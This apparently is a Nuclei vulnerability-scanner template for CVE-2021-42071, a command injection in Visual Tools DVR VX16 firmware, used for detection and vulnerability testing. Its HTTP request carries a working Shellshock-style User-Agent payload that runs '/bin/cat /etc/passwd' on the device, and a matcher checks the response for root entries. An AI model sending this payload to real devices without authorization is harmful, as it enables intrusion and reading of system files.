45 lines
1.3 KiB
YAML
45 lines
1.3 KiB
YAML
id: CVE-2021-42071
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info:
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name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
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author: gy741
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severity: critical
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description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
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remediation: |
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Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device.
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reference:
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- https://www.exploit-db.com/exploits/50098
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- https://nvd.nist.gov/vuln/detail/CVE-2021-42071
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- https://visual-tools.com/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-42071
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cwe-id: CWE-78
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epss-score: 0.95761
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epss-percentile: 0.99225
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cpe: cpe:2.3:o:visual-tools:dvr_vx16_firmware:4.2.28.0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: visual-tools
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product: dvr_vx16_firmware
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tags: edb,cve,cve2021,visualtools,rce,oast,injection
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http:
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- raw:
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- |
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GET /cgi-bin/slogin/login.py HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd
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matchers-condition: and
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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- type: status
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status:
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- 200
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